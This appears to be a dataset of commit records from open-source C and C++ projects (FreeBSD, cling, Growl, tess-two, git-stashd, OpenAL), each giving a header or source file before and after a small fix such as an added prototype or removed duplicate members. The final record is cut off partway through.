{"commit":"af8d245e930bc98823814813db06b9bcbe8a737d","old_file":"sys\/sparc64\/include\/clock.h","new_file":"sys\/sparc64\/include\/clock.h","old_contents":"\/*-\n * Copyright (c) 2001 Jake Burkholder.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#ifndef\t_MACHINE_CLOCK_H_\n#define\t_MACHINE_CLOCK_H_\n\nextern u_long tick_increment;\nextern u_long tick_freq;\nextern u_long tick_MHz;\n\n#endif \/* !_MACHINE_CLOCK_H_ *\/\n","new_contents":"\/*-\n * Copyright (c) 2001 Jake Burkholder.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#ifndef\t_MACHINE_CLOCK_H_\n#define\t_MACHINE_CLOCK_H_\n\nextern u_long tick_increment;\nextern u_long tick_freq;\nextern u_long tick_MHz;\n\nint\tsysbeep(int, int);\n\n#endif \/* !_MACHINE_CLOCK_H_ *\/\n","subject":"Add a missing prototype to fix a warning.","message":"Add a missing prototype to fix a warning.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"7fbe3e2d97dc4db70a87e57d387f60ac6e659609","old_file":"interpreter\/cling\/include\/cling\/Interpreter\/CIFactory.h","new_file":"interpreter\/cling\/include\/cling\/Interpreter\/CIFactory.h","old_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author:  Axel Naumann <axel@cern.ch>\n\/\/\n\/\/ This file is dual-licensed: you can choose to license it under the University\n\/\/ of Illinois Open Source License or the GNU Lesser General Public License. See\n\/\/ LICENSE.TXT for details.\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_CIFACTORY_H\n#define CLING_CIFACTORY_H\n\n#include \"clang\/Frontend\/CompilerInstance.h\"\n\n#include \"llvm\/ADT\/StringRef.h\"\n\nnamespace llvm {\n  class LLVMContext;\n  class MemoryBuffer;\n}\n\nnamespace clang {\n  class DiagnosticsEngine;\n}\n\nnamespace cling {\n  class DeclCollector;\n  class CIFactory {\n  public:\n    \/\/ TODO: Add overload that takes file not MemoryBuffer\n    static clang::CompilerInstance* createCI(llvm::StringRef code,\n                                             int argc,\n                                             const char* const *argv,\n                                             const char* llvmdir);\n\n    static clang::CompilerInstance* createCI(llvm::MemoryBuffer* buffer,\n                                             int argc,\n                                             const char* const *argv,\n                                             const char* llvmdir,\n                                             DeclCollector* stateCollector);\n  private:\n    \/\/---------------------------------------------------------------------\n    \/\/! Constructor\n    \/\/---------------------------------------------------------------------\n    CIFactory() {}\n    ~CIFactory() {}\n    static void SetClingCustomLangOpts(clang::LangOptions& Opts);\n    static void SetClingTargetLangOpts(clang::LangOptions& Opts,\n                                       const clang::TargetInfo& Target);\n  };\n} \/\/ namespace cling\n#endif \/\/ CLING_CIFACTORY_H\n","new_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author:  Axel Naumann <axel@cern.ch>\n\/\/\n\/\/ This file is dual-licensed: you can choose to license it under the University\n\/\/ of Illinois Open Source License or the GNU Lesser General Public License. See\n\/\/ LICENSE.TXT for details.\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_CIFACTORY_H\n#define CLING_CIFACTORY_H\n\n#include \"clang\/Frontend\/CompilerInstance.h\"\n\n#include \"llvm\/ADT\/StringRef.h\"\n\nnamespace llvm {\n  class LLVMContext;\n  class MemoryBuffer;\n}\n\nnamespace clang {\n  class DiagnosticsEngine;\n}\n\nnamespace cling {\n  class DeclCollector;\n  class CIFactory {\n  public:\n    \/\/ TODO: Add overload that takes file not MemoryBuffer\n    static clang::CompilerInstance* createCI(llvm::StringRef code,\n                                             int argc,\n                                             const char* const *argv,\n                                             const char* llvmdir);\n\n    static clang::CompilerInstance* createCI(llvm::MemoryBuffer* buffer,\n                                             int argc,\n                                             const char* const *argv,\n                                             const char* llvmdir,\n                                             DeclCollector* stateCollector);\n  private:\n    \/\/---------------------------------------------------------------------\n    \/\/! Constructor\n    \/\/---------------------------------------------------------------------\n    CIFactory() = delete;\n    ~CIFactory() = delete;\n  };\n} \/\/ namespace cling\n#endif \/\/ CLING_CIFACTORY_H\n","subject":"Remove unneeded static member decls; mark c'tor, d'tor as deleted.","message":"Remove unneeded static member decls; mark c'tor, d'tor as deleted.\n","lang":"C","license":"lgpl-2.1","repos":"arch1tect0r\/root,zzxuanyuan\/root-compressor-dummy,abhinavmoudgil95\/root,veprbl\/root,arch1tect0r\/root,zzxuanyuan\/root,gbitzes\/root,bbockelm\/root,karies\/root,sbinet\/cxx-root,simonpf\/root,beniz\/root,sawenzel\/root,georgtroska\/root,karies\/root,agarciamontoro\/root,zzxuanyuan\/root-compressor-dummy,bbockelm\/root,omazapa\/root-old,bbockelm\/root,zzxuanyuan\/root-compressor-dummy,arch1tect0r\/root,pspe\/root,davidlt\/root,omazapa\/root,gganis\/root,krafczyk\/root,nilqed\/root,Duraznos\/root,dfunke\/root,gganis\/root,thomaskeck\/root,dfunke\/root,davidlt\/root,sbinet\/cxx-root,arch1tect0r\/root,abhinavmoudgil95\/root,agarciamontoro\/root,vukasinmilosevic\/root,agarciamontoro\/root,Duraznos\/root,simonpf\/root,bbockelm\/root,omazapa\/root,dfunke\/root,Y--\/root,evgeny-boger\/root,perovic\/root,esakellari\/root,omazapa\/root-old,BerserkerTroll\/root,gganis\/root,abhinavmoudgil95\/root,agarciamontoro\/root,krafczyk\/root,satyarth934\/root,jrtomps\/root,Duraznos\/root,pspe\/root,mkret2\/root,dfunke\/root,mkret2\/root,sirinath\/root,karies\/root,evgeny-boger\/root,root-mirror\/root,perovic\/root,dfunke\/root,sbinet\/cxx-root,omazapa\/root,arch1tect0r\/root,abhinavmoudgil95\/root,Y--\/root,gbitzes\/root,evgeny-boger\/root,omazapa\/root,zzxuanyuan\/root-compressor-dummy,mhuwiler\/rootauto,mattkretz\/root,omazapa\/root,abhinavmoudgil95\/root,thomaskeck\/root,simonpf\/root,gganis\/root,georgtroska\/root,esakellari\/root,simonpf\/root,arch1tect0r\/root,mattkretz\/root,olifre\/root,mhuwiler\/rootauto,BerserkerTroll\/root,pspe\/root,sirinath\/root,olifre\/root,gbitzes\/root,nilqed\/root,mkret2\/root,satyarth934\/root,sbinet\/cxx-root,Duraznos\/root,perovic\/root,Y--\/root,esakellari\/root,bbockelm\/root,veprbl\/root,sawenzel\/root,root-mirror\/root,nilqed\/root,jrtomps\/root,sirinath\/root,bbockelm\/root,thomaskeck\/root,dfunke\/root,zzxuanyuan\/root-compressor-dummy,root-mirror\/root,mhuwiler\/rootauto,jrtomps\/root,vukasinmilosevic\/root,zzxuanyuan\/root,abhinavmoudgil95\/root,root-mirror\/root,jrtomps\/root,gbitzes\/root,thomaskeck\/root,simonpf\/root,davidlt\/root,root-mirror\/root,simonpf\/root,gbitzes\/root,CristinaCristescu\/root,nilqed\/root,CristinaCristescu\/root,buuck\/root,omazapa\/root-old,bbockelm\/root,dfunke\/root,root-mirror\/root,satyarth934\/root,zzxuanyuan\/root,omazapa\/root,veprbl\/root,BerserkerTroll\/root,Duraznos\/root,lgiommi\/root,zzxuanyuan\/root-compressor-dummy,omazapa\/root-old,zzxuanyuan\/root,mattkretz\/root,bbockelm\/root,olifre\/root,bbockelm\/root,perovic\/root,beniz\/root,gbitzes\/root,Y--\/root,karies\/root,georgtroska\/root,buuck\/root,nilqed\/root,jrtomps\/root,jrtomps\/root,sirinath\/root,perovic\/root,buuck\/root,davidlt\/root,pspe\/root,vukasinmilosevic\/root,pspe\/root,buuck\/root,mhuwiler\/rootauto,esakellari\/root,esakellari\/my_root_for_test,sawenzel\/root,evgeny-boger\/root,gganis\/root,sirinath\/root,zzxuanyuan\/root,beniz\/root,beniz\/root,esakellari\/root,agarciamontoro\/root,nilqed\/root,zzxuanyuan\/root,gbitzes\/root,satyarth934\/root,davidlt\/root,Y--\/root,zzxuanyuan\/root,CristinaCristescu\/root,simonpf\/root,vukasinmilosevic\/root,CristinaCristescu\/root,esakellari\/root,evgeny-boger\/root,Y--\/root,mhuwiler\/rootauto,agarciamontoro\/root,gbitzes\/root,BerserkerTroll\/root,sbinet\/cxx-root,root-mirror\/root,georgtroska\/root,evgeny-boger\/root,abhinavmoudgil95\/root,lgiommi\/root,sirinath\/root,sbinet\/cxx-root,beniz\/root,zzxuanyuan\/root-compressor-dummy,vukasinmilosevic\/root,mattkretz\/root,thomaskeck\/root,agarciamontoro\/root,sawenzel\/root,olifre\/root,esakellari\/root,omazapa\/root-old,perovic\/root,omazapa\/root-old,sawenzel\/root,simonpf\/root,karies\/root,arch1tect0r\/root,simonpf\/root,beniz\/root,agarciamontoro\/root,CristinaCristescu\/root,davidlt\/root,gganis\/root,mkret2\/root,davidlt\/root,jrtomps\/root,lgiommi\/root,omazapa\/root-old,omazapa\/root-old,CristinaCristescu\/root,evgeny-boger\/root,sirinath\/root,vukasinmilosevic\/root,esakellari\/my_root_for_test,evgeny-boger\/root,olifre\/root,krafczyk\/root,krafczyk\/root,perovic\/root,esakellari\/root,arch1tect0r\/root,gganis\/root,mattkretz\/root,omazapa\/root-old,dfunke\/root,omazapa\/root,sawenzel\/root,zzxuanyuan\/root-compressor-dummy,bbockelm\/root,Duraznos\/root,perovic\/root,georgtroska\/root,sbinet\/cxx-root,abhinavmoudgil95\/root,CristinaCristescu\/root,Duraznos\/root,olifre\/root,BerserkerTroll\/root,krafczyk\/root,gbitzes\/root,vukasinmilosevic\/root,esakellari\/my_root_for_test,mkret2\/root,veprbl\/root,perovic\/root,BerserkerTroll\/root,davidlt\/root,thomaskeck\/root,simonpf\/root,lgiommi\/root,zzxuanyuan\/root-compressor-dummy,esakellari\/root,evgeny-boger\/root,karies\/root,satyarth934\/root,sbinet\/cxx-root,gganis\/root,root-mirror\/root,georgtroska\/root,veprbl\/root,nilqed\/root,sirinath\/root,mhuwiler\/rootauto,georgtroska\/root,lgiommi\/root,evgeny-boger\/root,davidlt\/root,dfunke\/root,abhinavmoudgil95\/root,esakellari\/root,sbinet\/cxx-root,vukasinmilosevic\/root,veprbl\/root,Y--\/root,olifre\/root,thomaskeck\/root,beniz\/root,sirinath\/root,mkret2\/root,omazapa\/root-old,mattkretz\/root,buuck\/root,lgiommi\/root,thomaskeck\/root,jrtomps\/root,pspe\/root,mattkretz\/root,esakellari\/my_root_for_test,krafczyk\/root,lgiommi\/root,sirinath\/root,sbinet\/cxx-root,karies\/root,thomaskeck\/root,mhuwiler\/rootauto,jrtomps\/root,lgiommi\/root,georgtroska\/root,omazapa\/root,veprbl\/root,gbitzes\/root,veprbl\/root,abhinavmoudgil95\/root,zzxuanyuan\/root,mhuwiler\/rootauto,evgeny-boger\/root,mattkretz\/root,BerserkerTroll\/root,Duraznos\/root,zzxuanyuan\/root-compressor-dummy,Y--\/root,mattkretz\/root,jrtomps\/root,satyarth934\/root,krafczyk\/root,georgtroska\/root,buuck\/root,gganis\/root,BerserkerTroll\/root,buuck\/root,olifre\/root,zzxuanyuan\/root,satyarth934\/root,karies\/root,beniz\/root,satyarth934\/root,perovic\/root,agarciamontoro\/root,BerserkerTroll\/root,esakellari\/my_root_for_test,mkret2\/root,mhuwiler\/rootauto,pspe\/root,root-mirror\/root,CristinaCristescu\/root,sawenzel\/root,nilqed\/root,dfunke\/root,sawenzel\/root,esakellari\/my_root_for_test,Y--\/root,esakellari\/root,sbinet\/cxx-root,veprbl\/root,mattkretz\/root,nilqed\/root,sawenzel\/root,buuck\/root,pspe\/root,BerserkerTroll\/root,agarciamontoro\/root,root-mirror\/root,omazapa\/root,gganis\/root,karies\/root,vukasinmilosevic\/root,esakellari\/my_root_for_test,bbockelm\/root,omazapa\/root,Y--\/root,sawenzel\/root,mkret2\/root,CristinaCristescu\/root,agarciamontoro\/root,dfunke\/root,krafczyk\/root,zzxuanyuan\/root,olifre\/root,satyarth934\/root,omazapa\/root,thomaskeck\/root,satyarth934\/root,omazapa\/root-old,karies\/root,zzxuanyuan\/root,satyarth934\/root,vukasinmilosevic\/root,krafczyk\/root,esakellari\/my_root_for_test,abhinavmoudgil95\/root,nilqed\/root,sawenzel\/root,karies\/root,pspe\/root,beniz\/root,olifre\/root,beniz\/root,simonpf\/root,buuck\/root,davidlt\/root,krafczyk\/root,sirinath\/root,esakellari\/my_root_for_test,veprbl\/root,buuck\/root,pspe\/root,arch1tect0r\/root,Duraznos\/root,mattkretz\/root,perovic\/root,krafczyk\/root,mhuwiler\/rootauto,georgtroska\/root,Duraznos\/root,lgiommi\/root,arch1tect0r\/root,CristinaCristescu\/root,mkret2\/root,veprbl\/root,CristinaCristescu\/root,pspe\/root,olifre\/root,buuck\/root,mkret2\/root,lgiommi\/root,gbitzes\/root,esakellari\/my_root_for_test,vukasinmilosevic\/root,jrtomps\/root,BerserkerTroll\/root,zzxuanyuan\/root,mhuwiler\/rootauto,mkret2\/root,davidlt\/root,gganis\/root,root-mirror\/root,beniz\/root,Y--\/root,georgtroska\/root,Duraznos\/root,zzxuanyuan\/root-compressor-dummy,lgiommi\/root,nilqed\/root,arch1tect0r\/root"}
{"commit":"607893ef3f8ff351c68e8a057704d40a34c56872","old_file":"Plugins\/Displays\/Bezel\/GrowlBezelWindowView.h","new_file":"Plugins\/Displays\/Bezel\/GrowlBezelWindowView.h","old_contents":"\/\/\n\/\/  GrowlBezelWindowView.h\n\/\/  Display Plugins\n\/\/\n\/\/  Created by Jorge Salvador Caffarena on 09\/09\/04.\n\/\/  Copyright 2004 Jorge Salvador Caffarena. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import \"GrowlNotificationView.h\"\n\n@interface GrowlBezelWindowView : GrowlNotificationView {\n\tNSImage\t\t\t*icon;\n\tNSString\t\t*title;\n\tNSString\t\t*text;\n\tSEL\t\t\t\taction;\n\tid\t\t\t\ttarget;\n\n\tNSColor\t\t\t*textColor;\n\tNSColor\t\t\t*backgroundColor;\n\tNSLayoutManager\t*layoutManager;\n}\n\n- (void) setIcon:(NSImage *)icon;\n- (void) setTitle:(NSString *)title;\n- (void) setText:(NSString *)text;\n- (void) setPriority:(int)priority;\n\n- (float) descriptionHeight:(NSString *)text attributes:(NSDictionary *)attributes width:(float)width;\n\n- (id) target;\n- (void) setTarget:(id)object;\n\n- (SEL) action;\n- (void) setAction:(SEL)selector;\n\n@end\n","new_contents":"\/\/\n\/\/  GrowlBezelWindowView.h\n\/\/  Display Plugins\n\/\/\n\/\/  Created by Jorge Salvador Caffarena on 09\/09\/04.\n\/\/  Copyright 2004 Jorge Salvador Caffarena. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import \"GrowlNotificationView.h\"\n\n@interface GrowlBezelWindowView : GrowlNotificationView {\n\tNSImage\t\t\t*icon;\n\tNSString\t\t*title;\n\tNSString\t\t*text;\n\n\tNSColor\t\t\t*textColor;\n\tNSColor\t\t\t*backgroundColor;\n\tNSLayoutManager\t*layoutManager;\n}\n\n- (void) setIcon:(NSImage *)icon;\n- (void) setTitle:(NSString *)title;\n- (void) setText:(NSString *)text;\n- (void) setPriority:(int)priority;\n\n- (float) descriptionHeight:(NSString *)text attributes:(NSDictionary *)attributes width:(float)width;\n\n- (id) target;\n- (void) setTarget:(id)object;\n\n- (SEL) action;\n- (void) setAction:(SEL)selector;\n\n@end\n","subject":"Remove duplicate members so this compiles again","message":"Remove duplicate members so this compiles again\n\n--HG--\nextra : convert_revision : svn%3A99687598-2e92-11dd-8019-fe7b9d601d1b\/trunk%403400\n","lang":"C","license":"bsd-3-clause","repos":"PersonifyInc\/growl,incbee\/Growl,PersonifyInc\/growl,incbee\/Growl,incbee\/Growl,incbee\/Growl,PersonifyInc\/growl,PersonifyInc\/growl,PersonifyInc\/growl,incbee\/Growl"}
{"commit":"e595fd5917bd28a939cdf17a347661c00454c3a1","old_file":"src\/bitwise.h","new_file":"src\/bitwise.h","old_contents":"#pragma once\n\n#include <cstdint>\n\ninline uint16_t compose_bytes(const uint8_t low, const uint8_t high) {\n    return (high << 8) + low;\n}\n\ninline bool check_bit(const uint8_t value, int bit) {\n    return (value & (1 << bit)) != 0;\n}\n\ninline uint8_t set_bit(const uint8_t value, int bit) {\n    return static_cast<uint8_t>(value | (1 << bit));\n}\n","new_contents":"#pragma once\n\n#include \"util\/log.h\"\n\n#include <cstdint>\n\ninline uint16_t compose_bytes(const uint8_t low, const uint8_t high) {\n    return (high << 8) + low;\n}\n\ninline bool check_bit(const uint8_t value, const int bit) {\n    return (value & (1 << bit)) != 0;\n}\n\ninline uint8_t set_bit(const uint8_t value, const int bit) {\n    return value | (1 << bit);\n}\n\ninline uint8_t clear_bit(const uint8_t value, const int bit) {\n    return value & ~(1 << bit);\n}\n\ninline uint8_t set_bit_to(const uint8_t value, const int bit, bool bit_on) {\n    if (bit_on) {\n        return set_bit(value, bit);\n    } else {\n        return clear_bit(value, bit);\n    }\n}\n","subject":"Add more functions for bit manipulation","message":"Add more functions for bit manipulation\n","lang":"C","license":"bsd-3-clause","repos":"jgilchrist\/emulator,jgilchrist\/emulator,jgilchrist\/emulator"}
{"commit":"dd84148bdaa2bbecf0be3385a6423e21edbdb690","old_file":"tess-two\/jni\/com_googlecode_leptonica_android\/stdio\/extrastdio.h","new_file":"tess-two\/jni\/com_googlecode_leptonica_android\/stdio\/extrastdio.h","old_contents":"#ifndef  LEPTONICA__STDIO_H\n#define  LEPTONICA__STDIO_H\n\n#ifndef  BUILD_HOST\n\n#include <stdio.h>\n#include <stdint.h>\n\ntypedef struct cookie_io_functions_t {\n  ssize_t (*read)(void *cookie, char *buf, size_t n);\n  ssize_t (*write)(void *cookie, const char *buf, size_t n);\n  int (*seek)(void *cookie, off_t *pos, int whence);\n  int (*close)(void *cookie);\n} cookie_io_functions_t;\n\nFILE *fopencookie(void *cookie, const char *mode, cookie_io_functions_t functions);\n\nFILE *fmemopen(void *buf, size_t size, const char *mode);\n\nFILE *open_memstream(char **buf, size_t *size);\n\n#endif\n\n#endif  \/* LEPTONICA__STDIO_H *\/\n","new_contents":"#ifndef  LEPTONICA__STDIO_H\n#define  LEPTONICA__STDIO_H\n\n#ifndef  BUILD_HOST\n\n#include <stdio.h>\n#include <stdint.h>\n\ntypedef struct cookie_io_functions_t {\n  ssize_t (*read)(void *cookie, char *buf, size_t n);\n  ssize_t (*write)(void *cookie, const char *buf, size_t n);\n  int (*seek)(void *cookie, off_t *pos, int whence);\n  int (*close)(void *cookie);\n} cookie_io_functions_t;\n\nFILE *fopencookie(void *cookie, const char *mode, cookie_io_functions_t functions);\n\nFILE *fmemopen(void *buf, size_t size, const char *mode);\n\nFILE *open_memstream(char **buf, size_t *size);\n\nFILE *__sfp(void);\nint __sflags(const char *, int *);\n\n#endif\n\n#endif  \/* LEPTONICA__STDIO_H *\/\n","subject":"Fix clang warning about implicit function declaration","message":"Fix clang warning about implicit function declaration\n","lang":"C","license":"apache-2.0","repos":"surensth\/tess-two,surensth\/tess-two,bhargavbhegde7\/tess-two,didldum\/tess-two,bhargavbhegde7\/tess-two,renard314\/tess-two,doo\/tess-two,panzerfahrer\/tess-two,rmtheis\/tess-two,rxl194\/tess-two,doo\/tess-two,rxl194\/tess-two,michyliao\/tess-two,rmtheis\/tess-two,Drakefrog\/tess-two,bhargavbhegde7\/tess-two,AlanFor301\/tess-two,rmtheis\/tess-two,didldum\/tess-two,rmtheis\/tess-two,zoyvever\/tess-two,KrtinN\/Scion,renard314\/tess-two,didldum\/tess-two,yummy222\/tess-two,rxl194\/tess-two,rxl194\/tess-two,sirojnurulum\/tess-two,didldum\/tess-two,yummy222\/tess-two,demonquark\/tess-two,doo\/tess-two,demonquark\/tess-two,demonquark\/tess-two,wordsforthewise\/tess-two,CaveSven\/TessTwo,rmtheis\/tess-two,wordsforthewise\/tess-two,CaveSven\/TessTwo,didldum\/tess-two,renard314\/tess-two,garoxas\/tess-two,CaveSven\/TessTwo,surensth\/tess-two,demonquark\/tess-two,bhargavbhegde7\/tess-two,michyliao\/tess-two,lpalonek\/tess-two,JackFan-Z\/tess-two,lpalonek\/tess-two,KrtinN\/Scion,CaveSven\/TessTwo,panzerfahrer\/tess-two,demonquark\/tess-two,doo\/tess-two,yummy222\/tess-two,bhargavbhegde7\/tess-two,JackFan-Z\/tess-two,michyliao\/tess-two,sirojnurulum\/tess-two,AlanFor301\/tess-two,sirojnurulum\/tess-two,lpalonek\/tess-two,doo\/tess-two,zoyvever\/tess-two,yummy222\/tess-two,JackFan-Z\/tess-two,doo\/tess-two,didldum\/tess-two,Drakefrog\/tess-two,Drakefrog\/tess-two,wordsforthewise\/tess-two,panzerfahrer\/tess-two,lpalonek\/tess-two,KrtinN\/Scion,michyliao\/tess-two,AlanFor301\/tess-two,renard314\/tess-two,garoxas\/tess-two,CaveSven\/TessTwo,AlanFor301\/tess-two,JackFan-Z\/tess-two,wordsforthewise\/tess-two,lpalonek\/tess-two,wordsforthewise\/tess-two,Drakefrog\/tess-two,rmtheis\/tess-two,surensth\/tess-two,yummy222\/tess-two,Drakefrog\/tess-two,michyliao\/tess-two,yummy222\/tess-two,surensth\/tess-two,AlanFor301\/tess-two,renard314\/tess-two,KrtinN\/Scion,panzerfahrer\/tess-two,sirojnurulum\/tess-two,Drakefrog\/tess-two,rmtheis\/tess-two,CaveSven\/TessTwo,bhargavbhegde7\/tess-two,sirojnurulum\/tess-two,garoxas\/tess-two,renard314\/tess-two,AlanFor301\/tess-two,doo\/tess-two,JackFan-Z\/tess-two,JackFan-Z\/tess-two,garoxas\/tess-two,KrtinN\/Scion,KrtinN\/Scion,michyliao\/tess-two,rxl194\/tess-two,panzerfahrer\/tess-two,garoxas\/tess-two,surensth\/tess-two,panzerfahrer\/tess-two,sirojnurulum\/tess-two,rxl194\/tess-two,demonquark\/tess-two,lpalonek\/tess-two,wordsforthewise\/tess-two"}
{"commit":"a211855c2ec107eec845c54338c334c7d6dddc1e","old_file":"src\/signals.c","new_file":"src\/signals.c","old_contents":"\/**\n * signal.c\n *\n * Copyright (C) 2017 Nickolas Burr <nickolasburr@gmail.com>\n *\/\n\n#include \"signals.h\"\n\n\/**\n * Run cleanup on SIGHUP or SIGINT.\n *\/\nvoid on_signal (int signal) {\n\tswitch (signal) {\n\t\tcase SIGHUP:\n\t\t\tprintf(\"Caught SIGHUP, hanging up...\\n\");\n\t\t\tbreak;\n\t\tcase SIGINT:\n\t\t\tprintf(\"Caught SIGINT, terminating...\\n\");\n\t\t\texit(EXIT_SUCCESS);\n\t\tdefault:\n\t\t\tfprintf(stderr, \"Caught wrong signal: %d\\n\", signal);\n\t\t\treturn;\n\t}\n}\n\n\/**\n * Run tasks during awake period.\n *\/\nvoid on_awake (int signal) {\n\tif (signal != SIGALRM) {\n\t\tfprintf(stderr, \"Caught wrong signal: %d\\n\", signal);\n\t}\n}\n\n\/**\n * Augmented sleep function for signal handling.\n *\/\nvoid nap (int seconds) {\n\tstruct sigaction action;\n\tsigset_t mask;\n\n\taction.sa_handler = &on_awake;\n\taction.sa_flags = SA_RESETHAND;\n\n\tsigfillset(&action.sa_mask);\n\tsigaction(SIGALRM, &action, NULL);\n\tsigprocmask(0, NULL, &mask);\n\tsigdelset(&mask, SIGALRM);\n\n\talarm(seconds);\n\tsigsuspend(&mask);\n\n\tprintf(\"nap: sigsuspend returned.\\n\");\n}\n","new_contents":"\/**\n * signal.c\n *\n * Copyright (C) 2017 Nickolas Burr <nickolasburr@gmail.com>\n *\/\n\n#include \"signals.h\"\n\n\/**\n * Run cleanup on SIGHUP or SIGINT.\n *\/\nvoid on_signal (int signal) {\n\tswitch (signal) {\n\t\tcase SIGHUP:\n\t\t\tprintf(\"Caught SIGHUP, hanging up...\\n\");\n\t\t\tbreak;\n\t\tcase SIGINT:\n\t\t\tprintf(\"Caught SIGINT, terminating...\\n\");\n\t\t\texit(EXIT_SUCCESS);\n\t\tdefault:\n\t\t\tfprintf(stderr, \"Caught wrong signal: %d\\n\", signal);\n\t\t\treturn;\n\t}\n}\n\n\/**\n * Run tasks during awake period.\n *\/\nvoid on_awake (int signal) {\n\tif (signal != SIGALRM) {\n\t\tfprintf(stderr, \"Caught wrong signal: %d\\n\", signal);\n\t}\n\n\t\/**\n\t * @todo: Finish building this.\n\t *\/\n}\n\n\/**\n * Augmented sleep function with signal handling.\n *\/\nvoid nap (int seconds) {\n\tstruct sigaction action;\n\tsigset_t mask;\n\n\taction.sa_handler = &on_awake;\n\taction.sa_flags = SA_RESETHAND;\n\n\tsigfillset(&action.sa_mask);\n\tsigaction(SIGALRM, &action, NULL);\n\tsigprocmask(0, NULL, &mask);\n\tsigdelset(&mask, SIGALRM);\n\n\talarm(seconds);\n\tsigsuspend(&mask);\n}\n","subject":"Remove unused printf from nap","message":"Remove unused printf from nap\n","lang":"C","license":"mit","repos":"nickolasburr\/git-stashd,nickolasburr\/git-stashd,nickolasburr\/git-stashd"}
{"commit":"2ae1f8b8b64c2f1397649686507dabf72f4b8667","old_file":"common\/alexcpt.h","new_file":"common\/alexcpt.h","old_contents":"#ifndef ALEXCPT_H\n#define ALEXCPT_H\n\n#include <exception>\n#include <string>\n\n#include \"AL\/alc.h\"\n\n\n#ifdef __GNUC__\n#define ALEXCPT_FORMAT(x, y, z) __attribute__((format(x, (y), (z))))\n#else\n#define ALEXCPT_FORMAT(x, y, z)\n#endif\n\n\nnamespace al {\n\nclass backend_exception final : public std::exception {\n    std::string mMessage;\n    ALCenum mErrorCode;\n\npublic:\n    backend_exception(ALCenum code, const char *msg, ...) ALEXCPT_FORMAT(printf, 3,4);\n\n    const char *what() const noexcept override { return mMessage.c_str(); }\n    ALCenum errorCode() const noexcept { return mErrorCode; }\n};\n\n} \/\/ namespace al\n\n#define START_API_FUNC try\n\n#ifndef _MSC_VER\n#define END_API_FUNC catch(...) { std::terminate(); }\n#else\n\/* VS 2015 complains that some of these catch statements are unreachable code,\n * due to the function body not able to throw anything. While technically true,\n * it's preferable to mark API functions just in case that ever changes, so\n * silence that warning.\n *\/\n#define END_API_FUNC __pragma(warning(push)) \\\n__pragma(warning(disable : 4702))            \\\ncatch(...) { std::terminate(); }             \\\n__pragma(warning(pop))\n#endif\n\n#endif \/* ALEXCPT_H *\/\n","new_contents":"#ifndef ALEXCPT_H\n#define ALEXCPT_H\n\n#include <exception>\n#include <string>\n\n#include \"AL\/alc.h\"\n\n\n#ifdef __GNUC__\n#define ALEXCPT_FORMAT(x, y, z) __attribute__((format(x, (y), (z))))\n#else\n#define ALEXCPT_FORMAT(x, y, z)\n#endif\n\n\nnamespace al {\n\nclass backend_exception final : public std::exception {\n    std::string 